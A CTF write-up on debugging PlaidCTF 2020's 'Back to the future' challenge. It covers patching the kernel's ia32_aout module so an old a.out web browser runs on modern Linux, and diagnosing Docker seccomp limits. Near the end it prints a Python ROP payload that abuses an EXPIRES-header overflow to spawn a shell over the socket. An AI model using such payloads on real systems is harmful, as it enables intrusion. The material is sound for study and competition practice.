# How to Debug `Back to the future` / How to run an aout-format program on modern linux kernel
###### tags: `ctf` `plaidctf` `kernel` `linux`
## Prologue
`Back to the future` is a pwnable challenge in PlaidCTF 2020. If you are interested, check out Dragon Sector's writeup: <https://blog.dragonsector.pl/2020/04/plaidctf-2020-back-to-future.html>.
Dragon Sector's solution is really impressive: take this challenge as a blind pwnable challenge and do ROP without debugging! However, doing exploit without a debugger is painful to me :( When playing this challenge during the competition, I thought setting up an environment to debug the aout-format executable would be fun, and of course, it turned out a time-consuming process. This post will talk about what I did to debug the old browser.
## Recon
After trying to run the program on my VM(Ubuntu 18.04), I found it's an aout-format binary and the current kernel does not support it.
Just `nc -lvp [port]` then submit our url to the server, we got some interesting information (picture from my teammate @hzshang):

We were really surprised, 5.3.0!
## Ideas
After googling about aout format, we came up with several ideas:
1. Find an outdated linux distribution, which might support aout-format program
2. Compile a kernel with aout support enabled
3. Find/Make a custom loader to simulate aout
About idea `3`, We tried freebsd's `Linux Binary Compatibility` feature and failed at once. Maybe it is feasible, but I am a freebsd noob :( In addition, I tried to convert the aout binary to an elf via `objcopy` but it crashed in `ld.so`, which was considered troublesome to handle by myself.
## Try an old kernel
According to this [post](https://www.jwz.org/blog/2008/03/happy-run-some-old-web-browsers-day), we tried [Ubuntu 7.10](http://old-releases.ubuntu.com/releases/gutsy/ubuntu-7.10-desktop-i386.iso) and succeeded. My teammates tried Ubuntu 4.10 and it also worked. The old distribution is not as user-friendly as nowdays'. For example, you need to set the old-release apt source manually. Then, we started to do bug hunting and exploit. Finally, my teammates solved it by rop+shellcode.
Coincidentally, we used the `EXPIRES` vulnerability too :)
## Standard answer?
As you see, it's no doubt the challenge author compiled a kernel with aout support. How did he/she make it?
Actually, google told us the key point was the `ia32_aout` kernel module and it could be built as an LKM according to [the AUR page](https://aur.archlinux.org/packages/ia32_aout/). Just install the kernel and header files via apt, compile the LKM, insmod it, then we can run it.
Firstly, I got `During startup program terminated with signal SIGSEGV, Segmentation fault`, and strace told me :
```
execve("../back_to_the_future", ["../back_to_the_future"], 0x7ffd5bd7f5c0 /* 106 vars */) = -1 EPERM (Operation not permitted)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
+++ killed by SIGSEGV +++
```
I realized the aout-format binary maps its code page at 0. It's not a problem to CTF players! Just set the `vm.mmap_min_addr` to 0. Then, we got segmentation fault again! What???

Why? I was confused. We could read/write the memory from 0 to 0x224000 in gdb but`si/ni` failed. I tried strace again:
```
execve("../back_to_the_future", ["../back_to_the_future"], 0x7ffc28f85a80 /* 106 vars */) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=NULL} ---
+++ killed by SIGSEGV +++
```
The `si_code` is `SEGV_ACCERR` instead of `SEGV_KERNEL`, I guessed: the user-mode memory was allocated successfully, it's readable/writable but not executable?
## Kernel debugging
To find out the reason, I started to read the [source code](https://github.com/torvalds/linux/blob/master/arch/x86/ia32/ia32_aout.c). After code reading and debugging, I found this `ZMAGIC`-style aout-format binary save the code at file offset 0x400:
```c=196
if (!bprm->file->f_op->mmap || (fd_offset & ~PAGE_MASK) != 0) {
error = vm_brk(N_TXTADDR(ex), ex.a_text+ex.a_data);
if (error)
return error;
read_code(bprm->file, N_TXTADDR(ex), fd_offset,
ex.a_text+ex.a_data);
goto beyond_if;
}
error = vm_mmap(bprm->file, N_TXTADDR(ex), ex.a_text,
PROT_READ | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE |
MAP_EXECUTABLE | MAP_32BIT,
fd_offset);
```
`fd_offset` is 0x400, so this branch will be taken. The user-mode memory is allocated by `vm_brk`. I am a kernel noob and I know nothing about `vm_brk`, so I explored it via <https://elixir.bootlin.com/linux/>. After some mouse clicks, I found the calling chain: `vm_brk(addr, size)` -> `vm_brk_flags(addr, size, flags=0)`. I guessed the `flags` mean memory `rwx` attributes so I patched line 197 to something like `vm_brk_flags(addr, size, 7)`. However, I got segmentation fault again, and strace told me another different fault reason:
```
execve("../back_to_the_future", ["../back_to_the_future"], 0x7ffd07d9d420 /* 106 vars */) = -1 EINVAL (Invalid argument)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
+++ killed by SIGSEGV +++
```
`Invalid argument` ? Well, I thought I needed more code reading. Then I found `vm_brk_flags` redirect the memory request to `do_brk_flags(addr, size, 0, ...)`. There's something interesting in the comment of `do_brk_flags`:
```c=2985
/*
* this is really a simplified "do_mmap". it only handles
* anonymous maps. eventually we may be able to do some
* brk-specific accounting here.
*/
static int do_brk_flags(unsigned long addr, unsigned long len, unsigned long flags, struct list_head *uf)
{
struct mm_struct *mm = current->mm;
struct vm_area_struct *vma, *prev;
struct rb_node **rb_link, *rb_parent;
pgoff_t pgoff = addr >> PAGE_SHIFT;
int error;
unsigned long mapped_addr;
/* Until we need other flags, refuse anything except VM_EXEC. */
if ((flags & (~VM_EXEC)) != 0)
return -EINVAL;
```
OK, `7(rwx)` is disallowed and `VM_EXEC` is enough. So I patched the line 197 to `error = vm_brk_flags(N_TXTADDR(ex), ex.a_text+ex.a_data, VM_EXEC);`. Then the web browser popped up:

Cool! Now you can hack it with a debugger.
## Why `system` did not work
After some debugging, I found `ecx` pointed to the input buffer so I made a very naive rop chain:
```python
from pwn import *
system = 0x60031A80
rev = 'sh${IFS}<&4${IFS}>&4;qq#'
push_ecx_call_ebx = 0x60041748
pop_ebx_ret = 0x600426A4
payload = '''HTTP/1.0 200 OK\nEXPIRES: {} {} {}\n'''.format('A'*0x100, 'aa-' + rev.ljust(293, "a") + p32(pop_ebx_ret) + p32(system) + p32(push_ecx_call_ebx) + p32(0x41414141), 'C'*0x200)
```
It worked in on my local VM but failed at the remote one. Why? I guessed the organizers executed the browser in a docker container, maybe there's something different. I started a docker container and copied the files into it, then got an error like `can't load dynamic linker`. Strace told me:

It seems that `uselib` syscall is disallowed in docker containter. It's not a problem to CTF players: I started another container with `--privileged` then everything worked fine, so did my exploit. I was confused again. Suddenly, my teammate @birdsong told me docker has a default seccomp filter when `--privileged` is not enbabled: <https://github.com/moby/moby/blob/master/profiles/seccomp/default.json>. We guessed the challenge author only add a whitelist entry for the `uselib` syscall. I tried to start a container with a custom seccomp config file:
```
docker run -itd -v $(pwd):/root/shared --security-opt seccomp=qqq.json --name qqq ubuntu:18.04 /bin/bash
```
Strace again, then I knew the secret: the outdated `sigaction` syscall is disallowed in the docker default seccomp filter, which is however necessary to the `system` implementation of the outdated `libc.so.4`. (Modern libc uses `rt_sigaction`)

## Future work(?)
Thanks to team PPP and the author of `back to the future`. It's interesting to patch the kernel module to run an outdated web browser on modern linux distribution :)
There is still a problem: when did the `ia32_aout` driver stop working? Maybe we can explore in the git commit log. If you know, don't hesitate to share it with me ;)